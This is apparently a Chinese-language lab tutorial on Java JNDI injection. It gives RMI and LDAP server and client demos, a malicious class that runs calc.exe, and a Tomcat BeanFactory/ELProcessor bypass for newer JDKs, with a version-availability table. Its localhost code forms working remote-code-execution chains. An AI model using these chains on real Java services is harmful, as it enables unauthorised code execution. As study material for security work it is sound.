JNDI注入分析

1.RMI服务调用

  • RMI的功能

  • 服务端:将远程对象绑定到注册表(Registry),并发布一个唯一的名称(如 rmi://host:port/ServiceName)。

  • 客户端:通过注册表查找远程对象的引用(Stub),获取调用入口。

1.1.写一个RMIdemo

  1. 那么我们现在先写一个远程对象的demo
  • 远程对象接口
1
2
3
4
5
6
7
import java.rmi.Remote;
import java.rmi.RemoteException;

public interface IRemoteObj extends Remote {
public String sayHello(String keywords) throws RemoteException;
}

  • 远程对象实现
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import java.rmi.RemoteException;
import java.rmi.server.UnicastRemoteObject;

public class RemoteObjImpl extends UnicastRemoteObject implements IRemoteObj{
public RemoteObjImpl() throws RemoteException{

}

@Override
public String sayHello(String keywords){
String upKeywords = keywords.toUpperCase();
return upKeywords;
}
}

  1. RMI服务器
1
2
3
4
5
6
7
8
9
public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
RemoteObjImpl remoteObj = new RemoteObjImpl();
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("remoteObj", remoteObj);
System.out.println("-------------------RMIServer start success------------------------");
}
}

  1. RMI客户端
1
2
3
4
5
6
7
8
9
10
11
12
13
import java.rmi.NotBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIClient {
public static void main(String[] args) throws RemoteException, NotBoundException {
Registry registry = LocateRegistry.getRegistry("127.0.0.1", 1099);
IRemoteObj remoteObj = (IRemoteObj) registry.lookup("remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}

1.2.调用测试

  1. 启动服务器

image-20250307174523495

  1. 客户端连接并调用对象。
    • 调用成功,打印hello

image-20250307174615386

  • 调用rmi服务需要先注册一个rmi服务,再lookup对象名,再注入中不方便实现,因此使用JNDIRMI,JDNIRMI只需要其中lookup()的参数可控就可以直接调用远程类加载。

2.JNDIRMI调用

  • JNDI是 Java 提供的一种 标准化 API,用于统一访问不同类型的命名和目录服务(可以看成一个字典,一个字符串对应一个rmi远程对象)。
  • JNDIRMI注入的核心原理就是通过控制 IinitialContext.lookup()参数,让其访问攻击者搭建的一个恶意的远程RMI服务器,通过将rmi的地址绑定一个Reference,这样目标服务器在调用远程rmi指定的类之前,就会去调用Reference绑定的恶意类,执行远程代码。

image-20250307173639925

  • 调用流程图

image-20250311161125266

2.1.编写一个JNDIRMIdemo

  1. JNDIRMI服务器
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;
import java.rmi.RemoteException;

public class JNDIRMIServer {
public static void main(String[] args) throws NamingException, RemoteException {
InitialContext initialContext = new InitialContext();
//initialContext.rebind("rmi://0.0.0.0:1099/remoteObj",new RemoteObjImpl());
Reference reference = new Reference("T", "T", "http://localhost:7777/");
initialContext.rebind("rmi://localhost:1099/remoteObj", reference);
System.out.println("-------------------RMIJNDIServer start success------------------------");
}
}

  1. JNDIRMI客户端
1
2
3
4
5
6
7
8
9
10
11
12
import javax.naming.InitialContext;
import javax.naming.NamingException;
import java.rmi.RemoteException;

public class JNDIRMIClient {
public static void main(String[] args) throws NamingException, RemoteException {
InitialContext initialContext = new InitialContext();
IRemoteObj remoteObj = (IRemoteObj) initialContext.lookup("rmi://localhost:1099/remoteObj");
System.out.println(remoteObj.sayHello("hello"));
}
}

  1. 编写恶意类
1
2
3
4
5
6
7
8
import java.io.IOException;

public class T {
public T() throws IOException {
Runtime.getRuntime().exec("calc.exe");
}
}

2.2.调用测试

  1. 启动rmi服务器

image-20250307174523495

  1. 启动rmijndi服务器

image-20250311101657523

  1. 启动恶意类http服务

image-20250311101927839

  1. 启动jndirmi客户端

image-20250311161125266

3.JNDIDAP服务调用

  • 调用流程图

image-20250311161125266

3.1. 编写一个JNDIDAPdemo

  1. JNDILDAPServer
1
2
3
4
5
6
7
8
9
10
11
12
13
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.Reference;

public class JNDILDAPServer {
public static void main(String[] args) throws NamingException {
InitialContext initialContext = new InitialContext();
Reference reference = new Reference("T", "T", "http://localhost:7777/");
initialContext.rebind("ldap://localhost:10389/cn=test,dc=example,dc=com", reference);
System.out.println("-------------------LDAPJNDIServer start success-----------------------");
}
}

  1. JNDILDAPClientdemo
1
2
3
4
5
6
7
8
9
10
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class JNDILDAPClient {
public static void main(String[] args) throws NamingException {
InitialContext initialContext = new InitialContext();
initialContext.lookup("ldap://localhost:10389/cn=test,dc=example,dc=com");
}
}

  1. 下载LDAP服务器和客户端

3.2.调用测试

  1. 首先启动ldap服务器。
    • 启动失败,因此我换成了apacheds来启动服务器。

image-20250311160221579

    • 下载安装好之后,直接在服务中启动该程序。

image-20250311160422545

  1. 然后使用studio客户端连接

image-20250311160759169

image-20250311160820099

  • 然后点击完成就可以了。
  1. 然后启动JDNI服务器。

image-20250311160953734

  1. 启动jdni客户端

image-20250311161027755

4.JNDI 高版本绕过思路

4.1.思路

  • 由于在8u191版本后VersionHelper12类中的loadClass方法加了一个if判断,trustURLCodebase默认为false,默认不会去加载远程的工厂类。因此之后的jndi注入都无法再直接注入,需要依靠其他的依赖进行攻击。
  • 因此通过该方法无法再加载远程的Refference工厂类,但是我们可以使用本地的工厂类进行利用。
  • 我们可以找实现了ObjectFactory的接口,可执行恶意命令的类。

image-20250311180122231

1
2
3
4
5
6
7
8
9
10
11
12
public Class<?> loadClass(String className, String codebase)
throws ClassNotFoundException, MalformedURLException {
if ("true".equalsIgnoreCase(trustURLCodebase)) {
ClassLoader parent = getContextClassLoader();
ClassLoader cl =
URLClassLoader.newInstance(getUrlArray(codebase), parent);

return loadClass(className, cl);
} else {
return null;
}
}

4.2.实施

  1. 再tomcat8的依赖中存在这样一个可利用的BeanFactory,通过该类可执行EL表达式,实现命令执行。

  2. 因此想要绕过必须具有tomcat8的依赖,或者springboot,因为springboot项目中自带tomcat依赖。

  3. 首先在pom文件中导入以下依赖文件。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
<dependencies>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-servlet-api</artifactId>
<version>8.5.55</version>

</dependency>
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-catalina</artifactId>
<version>8.5.55</version>

</dependency>

<!-- EL 3.0 API(含 ELProcessor) -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-el-api</artifactId>
<version>8.5.55</version>

</dependency>

<!-- EL 实现(运行时需要) -->
<dependency>
<groupId>org.apache.tomcat</groupId>
<artifactId>tomcat-jasper-el</artifactId>
<version>8.5.55</version>

</dependency>
</dependencies>
  1. 编写RMIServer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
import java.rmi.AlreadyBoundException;
import java.rmi.RemoteException;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;

public class RMIServer {
public static void main(String[] args) throws RemoteException, AlreadyBoundException {
RemoteObjImpl remoteObj = new RemoteObjImpl();
Registry registry = LocateRegistry.createRegistry(1099);
registry.bind("remoteObj", remoteObj);
System.out.println("-------------------RMIServer start success------------------------");
}
}

  1. 编写JNDIRMIServer
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
import javax.naming.InitialContext;
import javax.naming.NamingException;
import javax.naming.StringRefAddr;
import org.apache.naming.ResourceRef;

public class JNDIRMIByPassServer {
public static void main(String[] args) throws NamingException {
InitialContext initialContext = new InitialContext();
ResourceRef resourceRef = new ResourceRef("javax.el.ELProcessor", null, "", "", true, "org.apache.naming.factory.BeanFactory", null);
resourceRef.add(new StringRefAddr("forceString", "x=eval"));
resourceRef.add(new StringRefAddr("x", "Runtime.getRuntime().exec('calc')"));
initialContext.rebind("rmi://localhost:1099/remoteObj", resourceRef);
System.out.println("--------------JNDIRMIByPass START----------------");


}
}

  1. 编写JNDIRMIClient,靶机
1
2
3
4
5
6
7
8
9
10
import javax.naming.InitialContext;
import javax.naming.NamingException;

public class RMIJNDIByPassClient {
public static void main(String[] args) throws NamingException {
InitialContext initialContext = new InitialContext();
initialContext.lookup("rmi://localhost:1099/remoteObj");
}
}

  1. 成功运行三个服务后,命令执行成功弹出计算器。

image-20250311180122231

5.总结

JDK6 JDK7 JDK8 JDK11
RMI可用性 6u132以下 7u122以下 8u113以下
LDAP可用性 6u211以下 7u201以下 8u191以下 11.0.1以下

image-20250326154920430

  1. JNDI注入的直接利用具有JDK版本限制,如果想利用高版本JDK,需要绕过refference无法加载远程Factory的限制,从而使用本地的Factory。
  2. 而本地的Factory目前需要用到tomcat8中的BeanFactory来实现执行EL表达式,执行系统命令。
  3. 该方式必须依赖tomcat8,而在8的高版本中删除了x字段,无法再继续利用。